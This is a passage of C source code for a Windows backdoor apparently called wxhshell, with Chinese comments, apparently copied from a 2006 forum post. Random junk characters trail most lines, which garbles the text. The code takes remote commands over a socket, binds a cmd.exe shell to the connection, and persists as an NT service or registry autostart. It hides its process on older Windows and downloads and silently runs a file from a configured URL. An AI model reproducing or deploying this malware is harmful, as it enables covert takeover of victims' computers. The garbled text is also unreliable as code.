    switch(cmd[0]) { :g~X"C1s  
  PZ[hH(EX  
  // 帮助 '&+5L.  
  case '?': { _t7}ny[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sWKe5@-o0  
    break; eJ"je@vvrK  
  } f[s|<U^  
  // 安装 gbvMS*KQz  
  case 'i': { X?gH(mn  
    if(Install()) ,VYUQE>\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Q9;ro*;ck  
    else ]K!NLvz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +!JTEKHKH  
    break; $eU oFa5A  
    } 7E]qP 5  
  // 卸载 \96aHOk<  
  case 'r': { Py^fWQ5I~%  
    if(Uninstall()) +v{g'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TR J5m?x  
    else "IuHSjP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &WV&_z  
    break; /y-eVu6  
    } Zjq(]y  
  // 显示 wxhshell 所在路径 SF. Is=b  
  case 'p': { vP @\"  
    char svExeFile[MAX_PATH]; RqU^Q*/sF  
    strcpy(svExeFile,"\n\r"); ?igA+(.  
      strcat(svExeFile,ExeFile); p*5QV  
        send(wsh,svExeFile,strlen(svExeFile),0); P ?A:0a  
    break; VoG:3qN  
    } 69iY)Ob/  
  // 重启 y{k65dk-  
  case 'b': { C &~s<tcn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hYSzr-)  
    if(Boot(REBOOT)) Pu0 <Clh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~zO>Q4-k  
    else { 3IyNnm=u  
    closesocket(wsh); 0Bn35.K  
    ExitThread(0); 'jA>P\@8  
    } bD:[r))#e  
    break; $GJuS^@%  
    } &$NYZ3?9  
  // 关机 /3KPK4!m  
  case 'd': { s%/x3anz=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L} Rsg'U  
    if(Boot(SHUTDOWN)) {Lg]chJq?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9 ;!\Wo  
    else { r>,s-T!7  
    closesocket(wsh); f=T-4Of  
    ExitThread(0); w,!IvDCAw  
    } Y2d(HD@  
    break; m4_ZGjmJM  
    }  sg9  
  // 获取shell z~($ "  
  case 's': { IY40d^x  
    CmdShell(wsh); ~m6b6Aj@6  
    closesocket(wsh); ttd ^jT  
    ExitThread(0); aESlb H  
    break; ,k |QuOrCh  
  } DcRvZH  
  // 退出 k; (r:k^  
  case 'x': { R|'ftFebB.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &\m=|S  
    CloseIt(wsh); ,p)Qu%'  
    break; 9NC?J@&B  
    } (,I9|  
  // 离开 ep)O|_=  
  case 'q': { B6-1q& E/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }Hy4^2B  
    closesocket(wsh); t b>At*tO  
    WSACleanup(); QruclNW{Bv  
    exit(1); wB+X@AA  
    break; ;2}wrX  
        } ;)23@6{R%  
  } $i|d=D&t  
  }  wzf  
pB:/oHV  
  // 提示信息 0Z1';A3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A/sM ?!p>_  
} &HB!6T/  
  } | {Tq/  
lnQY_~s  
  return; 1"S~#  
} P^^WViVX  
sH51 .JG  
// shell模块句柄 |crm{]7X  
int CmdShell(SOCKET sock) L/xTW  
{ !6FO[^h||H  
STARTUPINFO si; [79iC$8B|  
ZeroMemory(&si,sizeof(si)); ;iO5 8S3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k*K.ZS688  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JXQh$hs  
PROCESS_INFORMATION ProcessInfo; HlOn=>)<  
char cmdline[]="cmd"; k"F\4M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w&x$RP  
  return 0; !:3X{)4  
} V.}3d,Em%]  
YB]{gm2  
// 自身启动模式 S+bpWA  
int StartFromService(void) O39f  
{ |ngv{g  
typedef struct Sb.%B^O  
{ 0b}.!k9  
  DWORD ExitStatus; *h M5pw  
  DWORD PebBaseAddress; PVaqKCj:6W  
  DWORD AffinityMask; 5S 4 Bz  
  DWORD BasePriority; VQ8Q=!]  
  ULONG UniqueProcessId; 4u= v  
  ULONG InheritedFromUniqueProcessId; 2= zw !  
}   PROCESS_BASIC_INFORMATION; R1~wzy  
,}/6Za  
PROCNTQSIP NtQueryInformationProcess; Gz:ell$  
W!V-m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]([^(&2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c0Yc~&RF  
\: Q)X$6  
  HANDLE             hProcess; )Wy:I_F351  
  PROCESS_BASIC_INFORMATION pbi; ttA'RJ  
&AnWMFo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p^)w$UL}}  
  if(NULL == hInst ) return 0; 'fPDODE  
u]Z;Q_=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7O,!67+^~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e.WKf,e"X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d}<-G.&_  
(bAw>  
  if (!NtQueryInformationProcess) return 0; d' l|oeS  
CU@}{}Yl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dWP<,Z>  
  if(!hProcess) return 0; R$bDj >8  
#ri;{d^6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m4?a'z"  
qIwsK\^p  
  CloseHandle(hProcess); 4 q\&Mb3  
3fxcH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IZBY*kr  
if(hProcess==NULL) return 0; Y+{jG(rg.F  
5c$\DZ(  
HMODULE hMod; `_SV1|=="8  
char procName[255]; ;KgDVq5  
unsigned long cbNeeded; ~\+Bb8+hpJ  
<"yL(s^u"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .'b| pd  
JnLF61   
  CloseHandle(hProcess); EMzJyGt7  
uC%mGZ a  
if(strstr(procName,"services")) return 1; // 以服务启动 o37D~V;  
0 YAH[YF  
  return 0; // 注册表启动 dF><XZph  
} VIg6'  
L *cP8v4  
// 主模块 8^67,I-c  
int StartWxhshell(LPSTR lpCmdLine) L_q3m-x0h  
{ WAf"|  
  SOCKET wsl; C{~O!^2G  
BOOL val=TRUE; 7^<6|>j4  
  int port=0; 3mhjwgP<nn  
  struct sockaddr_in door; i,wZNX  
7^C&2k 5G  
  if(wscfg.ws_autoins) Install(); iN_P25Z<r  
OZEbs 7  
port=atoi(lpCmdLine); {E0\mZ2  
w?P ex]i{  
if(port<=0) port=wscfg.ws_port;  uU=!e&3  
Ygc|9}  
  WSADATA data; K>TEt5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0 \V)DV.i  
e,MgR\F}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tX6_n%/L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n=?wX#rEC#  
  door.sin_family = AF_INET; *fz#B/ _o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 10xza=a  
  door.sin_port = htons(port); biV NZdA  
gwr?(:?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <[K3Prf C  
closesocket(wsl); @`ii3&W4  
return 1; 2R W~jn"  
} ^SK!? M  
*c 9 S.  
  if(listen(wsl,2) == INVALID_SOCKET) { /vC!__K9:  
closesocket(wsl); }X. Fm'`  
return 1; @^/aS;B$>  
} ^7yaM B!  
  Wxhshell(wsl); hkdF  
  WSACleanup(); FY`t7_Y?GV  
+X`&VO6~  
return 0; R{ udV  
Tv6y +l  
} 9bhubx\^/  
(\o4 c0UzK  
// 以NT服务方式启动 =R"LB}>h}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P@D\5}*6  
{ a_-@rceU  
DWORD   status = 0; w|Ry) [  
  DWORD   specificError = 0xfffffff; f8ZuG !U  
#lc6-K#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d2TIG<6/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T 2_iH=u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?#Y:2LqPC  
  serviceStatus.dwWin32ExitCode     = 0; R x(yn  
  serviceStatus.dwServiceSpecificExitCode = 0; ;G[0%z+*  
  serviceStatus.dwCheckPoint       = 0; ;WAa4r>  
  serviceStatus.dwWaitHint       = 0; 4I .'./u  
OZC yg/K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jFip-=T{4  
  if (hServiceStatusHandle==0) return;  e<(6x[_  
+v$W$s&b-h  
status = GetLastError(); 0+u >"7T  
  if (status!=NO_ERROR)  v7Ps-a)  
{ H23 O]r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sPVE_n  
    serviceStatus.dwCheckPoint       = 0; ,SNt*t1"  
    serviceStatus.dwWaitHint       = 0; 3hxV`rb  
    serviceStatus.dwWin32ExitCode     = status; 6}VFob#h8  
    serviceStatus.dwServiceSpecificExitCode = specificError; e=aU9v L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |KVVPXtq%C  
    return; <sw=:HU  
  } A3*(c3  
NC Y2^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hn\d{HP  
  serviceStatus.dwCheckPoint       = 0; h-RhmQA=Iz  
  serviceStatus.dwWaitHint       = 0; 'Ebjn>"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &=kb>*  
} }"SqB{5e(  
wX_~H*m?  
// 处理NT服务事件,比如:启动、停止 >2= Y 35j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7WUv  O  
{ nA{yH}D4  
switch(fdwControl) NqGSoOjIO2  
{ Go^TTL   
case SERVICE_CONTROL_STOP: >< >%;HZ  
  serviceStatus.dwWin32ExitCode = 0; \q3ui}-9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *A4eYHn@  
  serviceStatus.dwCheckPoint   = 0; [S8*b^t4  
  serviceStatus.dwWaitHint     = 0; 2i;ox*SfpU  
  { cD=IFOB*GD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N UJ $)qNA  
  } ly35n`  
  return; aC%Q.+-t  
case SERVICE_CONTROL_PAUSE: Jgg<u#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l5~O}`gfh  
  break; ml Cg&fnDB  
case SERVICE_CONTROL_CONTINUE: 1e7I2g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ek U%^R<  
  break; ?L0k|7  
case SERVICE_CONTROL_INTERROGATE: 9_,f)2)~W  
  break; 1Lk(G9CoY  
}; ez.a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;<thEWH;Y  
} W amOg0  
)B)f`(SA"<  
// 标准应用程序主函数 t1"#L_<e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3"< 0_3?W  
{ "^!y>]j#A  
*,%$l+\h  
// 获取操作系统版本 u`.)O2)xU  
OsIsNt=GetOsVer(); gujP{Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &xhwOgI#,  
ZO%iyc%  
  // 从命令行安装 Hb::;[bm:  
  if(strpbrk(lpCmdLine,"iI")) Install(); iRlpNsN  
HyOrAv <  
  // 下载执行文件 Jj\lF*B  
if(wscfg.ws_downexe) { awvP;F?q|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @6UZC-M0  
  WinExec(wscfg.ws_filenam,SW_HIDE); >T c\~l  
} D4{KU%Xp&  
QxGcRlpLK  
if(!OsIsNt) { %[s%H)e)  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?FjnG_Uz`D  
HideProc(); Wz"H.hf  
StartWxhshell(lpCmdLine); Kop(+]Q&n  
} h3&|yS|  
else Crg'AB?  
  if(StartFromService()) ?w'86^_z  
  // 以服务方式启动 xy4+ [u  
  StartServiceCtrlDispatcher(DispatchTable); Hk@Gkx_  
else K1BBCe  
  // 普通方式启动 ciiI{T[Z  
  StartWxhshell(lpCmdLine); '21gUYm  
)wCNLi>4  
return 0; T_=WX_h $  
}
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只看该作者 1 发表于: 2006-10-10
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